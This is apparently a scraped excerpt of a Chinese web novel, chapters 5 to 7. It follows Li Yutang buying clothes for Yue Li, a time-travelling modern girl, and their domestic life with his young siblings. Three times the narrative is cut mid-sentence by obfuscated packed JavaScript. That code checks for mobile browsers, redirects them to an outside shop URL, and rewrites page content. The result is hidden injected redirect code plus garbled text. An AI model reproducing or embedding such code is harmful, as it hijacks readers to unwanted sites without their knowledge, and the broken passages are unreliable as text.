从门口路过的邻居见李三家哭声震天,吓得连忙跑到李大家去叫人。李大和何金夏火急火燎赶到的时候就见大侄儿手里拿着布和剪子,正在无声地哭,一张稚嫩的脸上全是泪水。小侄儿和小侄女趴在地上嗷嗷地哭,嘴里还叫着什么哥哥不要死。 三弟和三弟妹不在了,年仅十四岁的侄儿成了家里的顶梁柱,李大夫妇很是心疼他。 见他手里举着剪子,李大怕他想不开,快步冲上前去把剪子夺了。何金夏也将地上的两个小娃娃抱起,红着眼睛给他俩擦脸擦鼻涕。 夫妇俩抱着三个侄子哭了好一会才平静下来。李大哑着声音问发生了什么,李玉棠哽咽着说是想爹娘了。望着侄儿和三弟三弟妹相似的眉眼,李大忍不住又要落泪。 小眠儿知道哥哥不会死了后就止住了哭泣,搂着李玉棠的腿说自己和宁宁会一直陪着他。 何金夏抱着懵懵懂懂的小宁儿在屋里环视一圈,问李玉棠拿针线是要缝什么,得知他是要做衣裳后哭笑不得。 哪有不知尺寸就胡乱开始做衣裳的。何金夏给三个侄子量了身围,告诉李玉棠以后他们仨的衣裳不用操心,她全给做了。 李玉棠不好意思麻烦大伯娘,推辞说自己会去学。何金夏“垮着脸”问他是不是把大伯娘当外人,李玉棠嗫嚅着不知如何开口。 何金夏说他们不肯跟着她去家里住就算了,连做几件衣裳也觉得是在麻烦人,问他是不是要和大伯一家断亲。 李玉棠这才没有拒绝,每次大伯娘给做了新衣裳后他都会送些东西到他们家。几捆柴火、两包糕点,多多少少都是他的心意。 何金夏也明白他是不想占便宜,便将这些都收了,时不时也会叫三兄妹来家里吃饭。 不过简单打个补丁李玉棠还是会的,平常弟弟妹妹的衣裳哪里破了都是他上手缝几针。 没有借口让大伯娘做两身女人的衣裳,李玉棠只能来成衣铺买现成的。他出门前就悄悄打量了一下岳梨的身高,在他肩头附近,只要比划给铺子里的伙计看看,让他们帮着选一下应该没问题。 这还是李玉棠第一次进成衣铺,他找了几个熟悉的店主打听,都说实景庄卖的女子衣裳好看又实惠。 实惠当然也只是和其他成衣铺相比,相较如自家裁布做衣裳那肯定是要贵上许多。 踏进成衣铺的瞬间李玉棠就被花花绿绿的各色衣裳迷花了眼,铺子里的顾客多是女子,掌柜的见他四处张望不知该看向何处的样子便前来询问。 “客官想买点什么?我们铺子襦衫褙子,长裙、旋裙、百叠裙应有尽有,您想先看看哪样?” 李玉棠对女子服饰了解不多,只能让掌柜的给他一一介绍。 掌柜的又问他是给谁买,对方多大年纪。 “给...给年轻...年轻女子买。”李玉棠道。 掌柜瞧他支支吾吾一脸羞涩的模样便了然于心,问道:“那位姑娘身量如何?” 李玉棠在自己肩头比了比,“大概这么高,身材...身材窈...窈窕。” “了然了然,那颜色方面姑娘可有格外中意的?” 经掌柜的这么一问,李玉棠才想起自己就记着快点出门,也忘了问岳梨喜欢什么样式有没有偏好的颜色。 不过当时提起给她买衣裳时,她什么要求也没提,想必是不会太挑剔吧? 李玉棠想起岳梨那身奇怪的衣服上面有月白、天青和丁香几种颜色,便道:“她应该喜欢颜色浅一些的。” “了然,您看看这些上襦,都是当下最时兴的。”掌柜的见李玉棠穿着普通便给他推荐了价位都在一百文左右的上襦,更贵的那些没有引他上前去看。 李玉棠一眼就相中了一件丁香色交领襦,颜色很衬她,“这件多少?” 掌柜直夸他好眼光,伸出了一根手指晃了晃,“这件便宜,只要一钱。” 李玉棠买过的布匹都在七八十文左右,一匹布可以做两身他的衣裳或着给弟弟妹妹做三四身。不过他也知道成衣不会便宜,这物价也在他的预算之内。 在掌柜的热情介绍中,李玉棠前前后后给岳梨挑选了两件上襦、两条石榴裙,足衣和鞋子也备了两套换洗。 掌柜见这位客官努力思索,似乎在想有没有什么遗漏的东西,便压低了声音问他:“客官,襕裙和裈裤您看看需不需要? 经掌柜这么一提醒,李玉棠才想起忘了这两样重要东西。 襕裙他是知道的,从前爹给娘洗衣服的时候他见过。只是现在突然给另一个年轻女子买这么隐私的衣物,李玉棠有些脸热。 “......要。” 希望她不要觉得自己浪荡。 买好了最近一月可以穿的衣物,李玉棠背着背篓走了。 掌柜送他出门,脸上堆满了笑容,“客官下次再来啊。” “娘子,怎得如此高兴。”掌柜的丈夫笑脸盈盈地前来搂娘子胳膊。 “呵。”掌柜白了他一眼,甩开胳膊迎下一个顾客去了。 * 买衣裳一共花了九百八十三文,李玉棠又去牙刷铺买了四把新刷牙子。家里那三把毛都要秃了,是该换掉。 路过糕点铺子,李玉棠顿了顿,还是进去选了几样点心。 丰糖糕、栗子糕、镜面糕,分了两包装着。一包自家吃,一包送到大伯娘家去。大伯喜欢栗子糕,大伯娘和堂妹都喜欢镜面糕。堂弟那个顽劣的小子,前天逗哭了小宁儿,有他吃的就不错了。 今日共花了一两并七十二文,想到此刻家里有三个人等着他,李玉棠提着大包小包脚步轻快地回家去了。 * 岳梨陪着两个小朋友玩你挠我我挠你的游戏,没多久就累得气喘吁吁的。 “小朋友的精力太恐怖了。”岳梨瘫在床边感慨,脚尖一下一下点着地。 小眠儿让宁宁帮她把鸡毛插在头顶的小揪揪里,趴在床头和岳梨脸贴脸,“姐姐,你不玩了吗?” 岳梨摸着她肉嘟嘟的脸蛋子,充满悲伤地说:“姐姐好想玩手机。” 想到以后要过一段时间没有手机没有网络的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144261|196356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日子,岳梨只觉灵魂都要被抽走。 “瘦鸡?” “嗯,哎,你还小,还没有被手机毒.害,不会懂的。”岳梨盯着小朋友疑惑的目光,声情并茂地开始吟唱:“手机啊~手机~没有你我该怎么活~” 小眠儿:“......姐姐,你生病了吗?” 小宁儿蹲在地上拿鸡毛尖尖刨地,附和道:“姐姐肯定生病了,那个疯伯伯就喜欢这么唱歌。” 李家村有个老男人,据说是老婆难产死后精神崩溃成了疯子。他每天就在村里游荡,和狗抢吃食,不过从来没有伤过人。村里人见了他都主动绕道走,并没有将他驱逐。 有一次,疯男人路过发现小宁儿在院子里挖蚯蚓,便停下脚步站在路边开始唱歌。小宁儿正挖得起劲,没有理他,男人见他没有反应,歌声越来越大,最后还是邻居出来把他赶走了。 “啊啊啊啊~啦啦啦啦~娘子啊~娃娃啊~” 一阵惊天地泣鬼神地歌声骤然响起,屋里的三人都吃了一惊。 “怎么了怎么了?来收我了?”岳梨抱着小眠儿坐起身,惊恐地四处张望。 “是那个疯伯伯在唱歌。”小宁儿捂住耳朵痛苦地晃脑袋。 “你们在哪里啊~娘子啊~娃娃啊~” “你们去哪里了~” “是因为我唱歌所以把他引来了吗。”岳梨有些歉疚。 小眠儿玩着她的睡衣安慰道:“姐姐不用担心哦,王伯伯一会就会把他赶走的。” 果然没多久,一道骂骂咧咧的粗犷男声响起,疯男人的歌声立马消失了。 “他走啦,姐姐我们来翻花绳。” 三人玩了一上午,眼看日头当空了,李玉棠还没有回来。 岳梨凑在窗户缝悄悄往外看,问和她挤在一起的两个小孩:“快中午了,你们哥哥还不回来,午饭怎么办?” 她一个大人中午不吃忍忍就过去了,但是小眠儿和小宁儿还不到五岁,这么小的年纪不吃午饭可不行。 “家里有吃的哟。” 小眠儿拉着岳梨往灶屋去,打开碗橱,指着一个大盆对岳梨说:“哥哥昨天烙的饼子,中午吃。” 有吃的就行,岳梨从盆里拿了一个出来。这饼挺大挺扎实,她掰成了三份,一人吃一块。 一大两小蹲在门后面啃饼子。 * “吱呀” “哎哟!” 岳梨被突然打开的门撞得一趔趄,还没啃完的饼子掉到了地上。 三人刚刚啃饼子啃得专心,谁也没注意到外面的脚步声。 而李玉棠心里也想着事情,没留神听门内悉悉索索的声响。他连忙把手里提着的东西放下,将还扑在地上的岳梨扶了起来。 “没事吧?”李玉棠神色紧张地盯着岳梨,不知道她有没有被撞伤。 “没事没事。”岳梨摆摆手,又眼疾手快地把地上的饼子捡起来抖抖灰塞进嘴里。 没超过三秒,还可以吃。 李玉棠注视着她的行为—— 即便家庭很富有,却也不铺张浪费。 她的品行也如样貌那般美好。 李玉棠收回眼神,眼底闪过一抹黯然。 岳梨、小眠儿和小宁儿三人叽叽喳喳地围在背篓边看他都买了些什么回来。 一件又一件女人的衣裳被掏出来,岳梨心里只有一个念头——我这银镯子必须得卖了。 5. 姐姐要玩瘦鸡 岳梨去试衣服了。 摩挲着柔软的布料,眉头紧皱的少女轻轻叹了口气。 这个男人也太单纯了吧! 原本以为他会随便给她买一身能穿出门的衣服就够了,没想到居然买了这么多,也不知道花了多少钱。 要是让爸妈知道她花了陌生男人一大笔钱,肯定要戳着她的额头数落她。 岳梨很小的时候爸妈就定期给她零花钱了,还耳提面命缺钱了找家里人要,千万千万不要随便花陌生人的钱,特别是男人的钱。 今天你花了他一块钱,明天你就要在其他地方还回去。 岳梨觉得李玉棠不是那种和女朋友分手后,给女朋友买过的几个饺子都得折算成几毛几分要回去的铁公鸡。 啊呸呸,什么女朋友...... 越想越脸红的岳梨给了自己两耳光。 从小根深蒂固的观念,让她没办法心安理得地蹭吃蹭喝。 得尽快找个机会把镯子卖了。 * 李玉棠打开油纸包,把糕点分给眼睛粘他手上的弟弟妹妹。 “哇!哥哥你买了好多!” 小宁儿高兴地蹦了蹦,伸出两只小手接过一块香甜软糯的栗子糕。小眠儿也捧着一块丰糖糕小口小口地吃着。 将剩下的糕点放好,李玉棠拿出大伯娘给的烤鸡,问正聚精会神吃糕点的弟弟妹妹:“闻闻香不香?大伯娘给的烤鸡。” 小眠儿和小宁儿抽动鼻子嗅嗅,相似的两张小脸上具是欢喜,“好香好香!” 李玉棠也露出个宠溺的笑,摸摸弟弟脑袋,“吃了大伯家的烤鸡,小宁儿就别生四哥的气了好不好?” 四哥说的是大伯家的亲儿子李玉河,家族排行老四,心眼儿不坏,就是老喜欢逗弄年纪小的小宁儿,不把他惹哭不罢休。 “好哦。”小宁儿吃得高兴,腮帮子鼓起像只小松鼠。 “下次四哥再惹你,让妹妹揍他。” 小眠儿是家族里最小的姑娘,连大伯和大伯娘都当眼珠子疼,李玉河招惹谁不敢招惹她。 “好哦。” “下次四哥再惹宁宁,我就像早上哥哥拔鸡尾巴毛那样拔他的头发!”小眠儿道。 “真厉害。”李玉棠夸赞。 将烤鸡收进碗橱里,晚上热热就能吃,他又问道:“哥哥不在的时候,姐姐有和你们说什么吗?” 又拿了一块镜面糕吃的小眠儿想了想,答道:“姐姐说她想玩瘦鸡。” “瘦鸡?”李玉棠满脸困惑。 “唔,就是我们家那只最瘦的鸡嘛,姐姐说她想玩那个。”小眠儿一脸‘姐姐就是这么说的,哥哥你信我’的神情。 李玉棠又看向弟弟。 小宁儿冲他打了个嗝,“嘿嘿。” 李玉棠:...... 怎么会想玩鸡呢?难道是她们那个世界的消遣方式? 还想玩家里最瘦的那只鸡,胖的鸡不能玩吗? 他把炭灰倒掉,火盘靠在墙边立好,心理思忖着该如何告诉她鸡最好不要拿来玩,玩死了不值当。 * 岳梨对古装的了解不多,李玉棠给她买的这一堆衣服里,有两件她实在是想不通该穿在哪里。 一端有两根绑带,打了很多褶。 说这俩是裙子吧,这都快要冬天了,穿这么短的裙子是要她扮演冻美人吗。 说它们是头巾吧,唔,好像挺合适的。 岳梨把一条“头巾”绑在头上,下巴处打了个结,晃晃脑袋,脑后的布料随着摆动。 可惜没有镜子,不能欣赏一下。 不过岳梨也没有真的认为这是俩头巾。与其买这么一块实用性不强的头巾,不如多买点吃的。 “那个,李玉棠,你过来一下。”岳梨决定还是问一声。 “怎么了?” 岳梨摇摇脑袋,给他看头上的东西,问:“这是什么?” 以为发生了什么急速赶来的李玉棠感觉鼻子里面有些热,他掏出手帕快速擦了擦。 将带血的手帕藏好,他迟疑地抬起双手,做出一个捏着什么东西的手势在胸前比了一下,“应...应该是...穿...穿在这...这里的。” 岳梨见他从脸红到了脖子,后知后觉的反应过来这是什么。 原来是当胸.罩穿的,不过岳梨来自二十一世纪,面对这些衣物,没有他那么害羞。 又不是她穿过的,再说,就算是穿过的,咳咳,穿过的那确实不能随随便便给别的男人看,他们现在又不是那种关系...... 李玉棠同手同脚地走了,帮岳梨洗衣服去了。 “我自己洗,哎哎,李玉棠。” 岳梨正试鞋子呢,李玉棠就拿着她试好的衣服说洗干净了再穿。 岳梨把另一双布鞋和他们三人的放在一起,穿着合脚的新鞋哒哒哒追了出去。 * 院子里有一口井,不用去河里挑水。 李玉棠坐在井旁,浸湿盆里的衣裳后轻轻在手里来回搓。 新衣裳过一遍水就行了,不用浪费皂角。 “我自己洗吧,你去屋里休息休息。”岳梨蹲在旁边,一根手指在盆里搅搅,凉凉的。 李玉棠低着头瞟了一眼她的手,纤细白嫩,像是官家小姐的。村里女人都是要干活的,手上或多或少都会有一些茧子。而她的手上一点也没有,在家里肯定是受父母疼爱,不用做事的。 “没事,水凉,我一会就洗完了。”李玉棠低声道,又问她:“小眠儿说你想玩瘦鸡?家里确实有只鸡长得不大好,但是...” “等等,什么瘦鸡?”岳梨不解。 “就是瘦鸡呀。”小眠儿跑过来递给她一块栗子糕,又闭上眼睛,一脸忧伤,模仿着岳梨当时的语气,说:“姐姐好想玩瘦鸡~” 岳梨:...... 岳梨简直哭笑不得,把还在摇头晃脑的小眠儿拉到自己腿间站着,在她肉乎乎的脸蛋子上狠狠亲了一口,“姐姐说的不是瘦鸡啦,是一个,唔,玩物,你们这里没有的玩物。” 小宁儿颠颠跑过来在妹妹另一半脸蛋子上也亲了一口后,把手里吃了一半的镜面糕喂到哥哥嘴里。 李玉棠看他小肚子圆鼓鼓的就知道是吃不下了,张嘴把那半糕点吃了。 听着一大两小你亲我我亲你的声音,李玉棠松了口气,不是想玩鸡就好。 “你们去屋里玩,桌上的糕点自己拿着吃,我这里很快就洗完了。” 还没统一口径,暂且先别让外人看见得好。 余光观察到三人都走了,李玉棠抽出袖子里带血的手帕,火速搓洗干净。 在屋里支个架子,洗好的衣物都晾上去,晚点用炭火烘一烘,明天就能穿了。 “我去山上砍柴,你们三个就在家里玩。” 李玉棠揣上一张饼子,拿上柴刀对眼巴巴盯着他的三人道。 “你一个人去吗?”岳梨担忧地问。 “不是一个人,别担心。”察觉到她眼里的关切,李玉棠心里有点小雀跃。 顺路叫上村里的另一个汉子,俩人朝山里去了。 三年前李玉棠的父亲独自上山砍柴,失足摔死了。母亲也骤发心疾,没有救回来。 自那后村里人上山多半相邀而行,很少会独自去。柴火是家家户户都要备的,不愁找不到人结伴而往。 目送他离开后,岳梨关上门,和屋里的两小只大眼瞪小眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144262|196356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你哥可真勤奋呐。” “当然了,哥哥最勤奋了。”小眠儿翘着嘴巴,叉着腰,吃得圆溜的肚子也跟着挺起。 “接下来咱仨干什么呢?”岳梨摸着下巴思索,“要不你俩给我讲讲你哥哥的事情。” “好呀好呀。”小眠儿和小宁儿完全不觉得卖哥哥的行为有什么不对。 * “第一届‘关于玉米糖的三两事’抢答大赛现在开始!”岳梨举着截烧了一半的木棍,煞有介事的清清嗓子,“请问...” “姐姐,哪里有玉米糖呀。”小眠儿双手放在膝盖上,宛如幼儿园小班生。 “哪里有玉米糖呀。”小宁儿四处张望。 “玉米糖就是你们哥哥。李玉棠,玉棠玉棠玉米糖。”岳梨眯起眼睛扬着下巴,满脸都是‘是不是很赞同我’。 “姐姐好厉害。”小眠而露出星星眼。 “好厉害哦。” “还有其他要问的吗?”岳梨在排排坐的俩小孩面前踱步。 “没有啦。”两人异口同声道。 “那好,第一道题,你们哥哥有没有喜欢的人?” “有呀有呀。”小眠儿抢答。 “有?!”岳梨难以置信地停下脚步。 要是李玉棠有心上人,她又住在这里,岂不是会挡了人家的爱情? “对呀,哥哥喜欢我、宁宁、大伯和大伯娘。”小眠儿掰着手指数。 “哥哥还喜欢胖胖和二胖。”小宁儿插嘴。 “姐姐问的是哥哥有没有喜欢的人,胖胖是猪猪不是人。”小眠儿对着小宁儿摇摇头。 岳梨:“......停停停,我想问的是,玉米糖有没有喜欢年轻的姑娘,和我差不多大的。” 小眠儿翻着白眼想了一会,说没有。 得到答复的岳梨松了口气。 “不错,小眠儿回答了第一题,奖励姐姐的香吻一枚。”说着,岳梨在小眠儿脸上亲了一口。 “嘿嘿嘿。” 一个下午岳梨就将李玉棠的事情了解了七七八八。 “今天大家的表现都很不错,现在时间也不早了,我们来做晚饭等哥哥回来好不好?” 小眠儿说哥哥上山砍了一天柴后回来了还要做晚饭、给他们洗澡、收拾屋子,很辛苦。 所以岳梨决定,住在他们家的这段时间只要李玉棠出门干活,饭就交给她来做。 岳梨的老爸厨艺非常好,每次老爸在厨房里一阵忙活后就会端出来各色各样的菜肴。岳梨敬佩不已,跟着老爸学了几招。不过她似乎没有多少天赋,一比一按照老爸亲传教程做出来的菜却不是那个味。多难吃倒也谈不上,反正填饱肚子是没问题的。 小眠儿和小宁儿抱着对漂亮姐姐完全信任的态度,举着小手说要一起帮忙。 晚饭准备得十分顺利。 岳梨第一次用点火石就把火烧起来了,她双手合十朝灶台深深鞠躬,“灶神爷保佑。” 小眠儿和小宁儿有样学样:“灶爷爷保佑。” 蒸米饭、炒菘菜、再打个蛋花汤,岳梨盛了勺汤尝味,“嗯,完美。” 还不忘给自己比个大拇指。 “姐姐,还有烤鸡。”小眠儿指着碗橱里的烤鸡对岳梨说。 “哦哟,居然还有肉吃。”岳梨把烤鸡拿出来放在米饭上,“这样焖着就好啦,等玉米糖回来就可以开饭。” “好耶好耶,等玉米糖回来就开饭。”小眠儿和小宁儿顶着两张小花脸绕着岳梨开心地转圈圈。 背着一大捆柴的李玉棠远远就看见了从自家屋里冒出的炊烟。 她还会做饭? 肩上的重量似乎突然减轻了,李玉棠加快脚步朝家赶去。 6. 真可爱 “这些都是你做的?” 李玉棠看着桌上的一菜一汤,觉得不可思议。她,居然,做饭给他吃。 菘菜色泽碧绿,蛋花汤香气扑鼻。 “那可不,我是不是很棒吧。”岳梨洋洋得意,一双杏眼微微眯起,嘴角上扬,两手抱臂,脚尖一下一下点着地,身后那条隐形的尾巴都转成了螺旋桨。 李玉棠心里泛起阵阵暖流,整个人都似被和煦的春风包裹,仿若畅游在铺满桃花的花海。 “很厉害。”李玉棠轻声道,侧过头不敢多看她,怕又流鼻血。 虽然只听到一句“很厉害”,但岳梨依旧很满意,谁让这三个字是从大帅哥的嘴里说出来的呢。要是她给老弟做了晚饭却只得到三个字的夸奖,岳梨一定跳起来给他一记老拳,让他深深地感受到来自姐姐的爱。 “快洗手吃饭。” 岳梨在小眠儿的指导下拿出两个洗脸盆,倒上水。 她和小眠儿洗一盆,李玉棠和小宁儿洗一盆。 将米饭上闷着的烤鸡盛出来,一家四口就开始吃饭了。 “好吃好吃。”小宁儿大口大口往嘴里刨饭,脸都快要埋进碗里。 米饭里浸了烤鸡上的油,格外香。 李玉棠撕下一条鸡腿给他,又将另一条鸡腿放在亲亲热热挨着岳梨坐的小眠儿的碗里。 一只鸡就两条腿,李玉棠盯着失去双腿的烤鸡看了两眼,恨铁不成钢。 岳梨注意到他的神色,不在意地说:“我吃翅膀就好了。” 鸡翅膀可好吃。 小眠儿见姐姐碗里没有鸡腿,要把自己的给她。 “不用不用,宝宝你吃,多吃点长肉肉。” 见状,李玉棠将鸡翅撕下放到岳梨碗里,“你也多吃点,做饭辛苦了。” 李玉棠平常的饭量是三碗,今天的饭菜尤其美味,他吃了四碗。 小眠儿和小宁儿吃饭从来不挑,小时候吃白水煮面条也一点不浪费地吸溜个精光。 看着三人大快朵颐的模样,岳梨更加自豪,等穿回去了一定要告诉爸妈她厨艺进步了。 四人乐呵呵地吃完了晚饭,李玉棠去洗碗、喂猪,岳梨带着小眠儿和小宁儿烧炭烘衣服。 晚间的活动不多,多是饭后坐到天黑就去睡了。 “我把西屋收拾出来去那边睡,你和他俩睡东屋会害怕吗?”李玉棠问。 小宁儿每晚睡觉都要拉着妹妹的手,最近两年也不着急让他俩分开睡。 伸着手指和两个小朋友比手长的岳梨抬起头:“不会,你呢?一个人睡怕不怕?” 李玉棠笑笑,说:“我不怕。” 四人齐心协力将西屋的杂物一样样往外搬。 小眠儿和小宁儿一人扛着扁担的一端,嘴里嘿呦嘿哟地喊着号子。 岳梨蹲下身准备背起装满红薯的背篓,背篓太沉,她双手撑地使了两下劲也没站起来,反倒是背后的红薯咕噜噜滚了出来,有几个还砸在她头上。 “哎哟。”岳梨摸摸被砸疼的后脑勺,看见红薯滚了满地,又手忙脚乱地去捡。 李玉棠刚放了木板从堂屋回来,就见她这副狼狈的样子。他连忙上前接过背篓搁在一旁,将抱着两个大红薯的岳梨扶起。 “小心点,重的放着让我来。”说着李玉棠给她拍拍脑袋上的灰,摸摸后脑勺发现没有鼓包,便柔声问道:“头疼吗?” “不疼,哎,我真不是干活的料。”岳梨低着头,语气听起来有些低落。 李玉棠正准备安慰,却见她抬起头,一脸若有所思地道:“看来我妈说得没错,我是天生享福的料。” 他哑然失笑,瞧着她亮晶晶的双眸,说不出别的话,只肯定的点点头。 杂物都搬走后,李玉棠拿着扫帚这里掸掸,那里扫扫,岳梨、小眠儿和小宁儿三人捂住口鼻在门口给他加油。 不多时,西屋就收拾好了。 睡前因着有事要商量,大家洗漱过后都去了东屋。 岳梨、小眠儿和小宁儿盖着被子坐在床上,李玉棠拉了条凳子坐在床边。 “你的事情,我想好了。”李玉棠斟酌着开口。 “嗯嗯,你说。”岳梨点头。 “哥哥你说。” “哥哥说。” 俩小孩不明所以,也跟着附和。 “明天我去找大堂哥帮忙给你办个户籍,这个应该不难。” 去年新帝登基,大赦天下,黑户主动去官府登记可以减免处罚。 要是大堂哥有路子在中间周旋,处罚或许都能免掉。 岳梨听他说要找其他人帮忙,又把手上的镯子拿了下来,道:“既然是给我办户籍,这个镯子你还是拿去卖掉吧。” 见他迟疑,岳梨俯身直接将镯子放他怀里,语重心长道:“你呀你,个头长这么高,怎么心眼一点都不长。我万一是个坏人呢,在你家吃吃喝喝,哄得你给我买这买那,把你家掏空了你该怎么办?难道你要带着小眠儿和小宁儿去大街上乞讨?” “讨钱我知道!” 小眠儿掀开腿上的被子,一骨碌爬起来,假装一只手杵棍子,另一只手端碗,粗着嗓子道:“给点钱吧,三天没吃饭饭了,咳咳,给点吧。” 小宁儿在床上跪下,手里好似捧着个碗,边“哭”边道:“呜呜呜,三天没吃肉肉了,呜呜呜。” 岳梨被他俩逗得哈哈大笑,忽地倒在两人中间,装出一副气若游丝的样子,颤颤巍巍地朝李玉棠伸出一只手,“咳咳,可怜可怜吧,我们已经三天没吃饭了,可怜可怜吧。” 李玉棠:...... 三人演得不知天地为何物,要不是小的那俩肚子圆溜溜,大的那个面色红润,一时间李玉棠真恍惚了,以为自己虐待了他们。 “好吧。”李玉棠收下镯子。 “停停停,表演结束。”岳梨喊停还在模仿乞丐的俩人,排排坐好等李玉棠说话。 “关于你的来历,其他人问起就说你是外地人,来这边探亲。我们父亲从前认识,你在我家暂住几天。” 不管其他人信不信,一口咬死这个理由,他们也没办法探究其中的真伪。时间久了,大家的注意力也不会再落在她身上。 岳梨点头同意。 “就是......和我们住在一起,对你的名声可能会有些影响。” 一个是未嫁人的姑娘,一个是未娶亲的汉子,两人朝夕相处肯定会招来闲话。 不过以后她回去了,没人会知道她在这里经历了什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144263|196356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她依旧是父母的掌上明珠,还会遇到良人、成亲生子。至于自己,大概会一直记挂着她,终生不娶吧。 李玉棠微垂着头,不想让她看见自己落寞的样子。 “嗐,他们爱说啥就让他们说去。”岳梨不在意地摆摆手。她可是能在网上和别人吵架一天一夜不带歇的,最后还骂到对方销号跑路了。 那人在网上看见一张美女的照片,芝麻大的脑子里全是龌龊东西,给美女的留言全都不堪入目。 上网冲浪的岳梨看见后怒火中烧,顿时在那人的留言下骂了起来。不断有正常路人给她点赞,美女贴主感谢她后还把评论置顶了。岳梨越骂越得劲,把那脑.残祖宗十八代问候了遍。当然也有个别大脑发育不完全的跟岳梨骂战,她大手一挥,全都应了回去。 此后“岳女侠”在网上名声大噪,还掀起了一阵改名改头像风波,不断有人顶着岳女侠的名号和头像在网上行侠仗义。 所以岳梨压根不在意别人怎么说她,大不了吵一架,谁怕谁。 暂且这么说定了,小眠儿和小宁儿也被李玉棠千叮咛万嘱咐,一定不能对其他人随随便便说起岳梨的事情。 李玉棠看了看天色,道:“时间也不早了,你们快睡吧。” “好哦。” 小眠儿和小宁儿钻进被窝里,手拉着手睡了。 “你也去睡吧,辛苦一天了。”岳梨躺下,对还坐着的李玉棠说。 “我等你们睡着了再过去。”李玉棠轻声道。 屋内一时静悄悄的,只有风吹过门板发出的吱呀声。 “李玉棠。”岳梨盯着屋顶,语调轻缓,像是在自言自语。 “我在,怎么了?” “你不要随随便便就对别人好。” “嗯?” “就是,你对所有人都这么好的话,万一哪天被你喜欢的人知道了会生你的气。”岳梨侧过头盯着他道:“你知道吗,这种在我们那里叫中央空调,是会被大家背地里蛐蛐的。” 李玉棠心想,自己怎么会无缘无故就对别人好,又不是菩萨。 “嗯,我记住了。” “明天除了去找你大堂哥,还要干什么?有什么我能做的吗?” “明天要种些茼蒿和韭菜,你有什么喜欢吃的,可以一并种下。” “香菜可以种点嘛?” “香菜?” “就那个很香很香的,也叫胡荽。” “好。” 胡荽味道冲,小眠儿和小宁儿都不喜欢,李玉棠就没有种过,也不知道难不难伺候。 黑暗中,李玉棠听见她咽了下口水。 “想吃胡荽了?”他问,脸上挂着宠溺的笑。 “嗯,香菜下火锅可香了。”说着,岳梨不仅想吃香菜,还想吃火锅了。 “火锅?”李玉棠只知道铁锅、石锅,倒是从来没有听说过什么火锅。 于是岳梨又开始给他介绍火锅,菌汤锅的鲜美、番茄锅的酸爽、麻辣锅的刺激...... 床上的人声音越来越小,似是睡着了。借着月光,李玉棠看见了她卷翘的长睫和嘴角的口水...... 迟疑片刻,李玉棠掏出手帕小心翼翼为她擦干净嘴角。 真可爱。 7. 哥哥笨笨 次日清晨,李玉棠热好朝食后去叫大家起床。 不知三人是怎么睡的,小宁儿从竖躺变成了横躺,手上抱着小眠儿的一只脚丫子。小眠儿搂着岳梨脑袋,整个人都趴在了她身上。岳梨的睡姿更是离谱,半个身体悬空,一条腿都掉到了床下面,眼看着就要摔下来了。 李玉棠神色陡然一变,三步并作两步地冲上前,接住了摇摇欲坠的岳梨和小眠儿,放轻手脚将两人挪到床中间。 李玉棠擦擦额角吓出的汗,将妹妹的脚丫子从弟弟手里拯救出来。 看着熟睡的三人,李玉棠思忖片刻,转身去锅里拿了一个包子过来。 “好香。”岳梨鼻头抽动,醒了过来。 “醒了?起床吃饭。”李玉棠垂眸看着她,嘴角带着笑意。 “帅哥,你谁。”岳梨脑子还不太清醒,睁眼就看到一位眼含一汪春水的大帅哥盯着她笑,意识逐渐回笼,她想起自己昨天早上穿越了,“嘿嘿,是你,玉米糖。” “玉米糖?”好亲近的称呼。 岳梨又笑了两声,慢吞吞地坐起来穿衣服。 李玉棠如法炮制用香喷喷的包子唤醒了小眠儿和小宁儿,并在小宁儿张嘴要咬的瞬间把包子撤回。 “嘿嘿,哥哥。”小宁儿没吃到包子也不恼,揉揉眼睛冲李玉棠露出个迷迷糊糊的笑。 岳梨给小眠儿穿好衣服,在她红扑扑的脸蛋上吧唧了一口,小孩儿缩着脖子咯咯笑。 挨个洗完脸,李玉棠坐在门口先给妹妹梳头,小宁儿站在一旁等着。 岳梨揉了把自己的头发,思索片刻后排在了小宁儿身后。 是的,岳梨是个手残,平常她给自己梳头都只是简单拢个低马尾,要让她用发带好好给自己绑头发确实有些难度。 李玉棠给小眠儿梳的是多髻,点缀了几朵蓝色的绢花,给小宁儿梳的是冲天鬏,拿发带绑着。李玉棠正将衣服上的落发摘下来,面前就多了一道身影,他抬起头—— “给我也梳一下吧,嘿嘿。”岳梨扣扣手指有些不好意思。 李玉棠愣怔片刻后,又将梳篦拿了起来。给她梳头不用坐着,他站在了她身后,动作轻缓地梳过她顺滑的长发,一阵风吹过,发香扑进他的鼻腔。 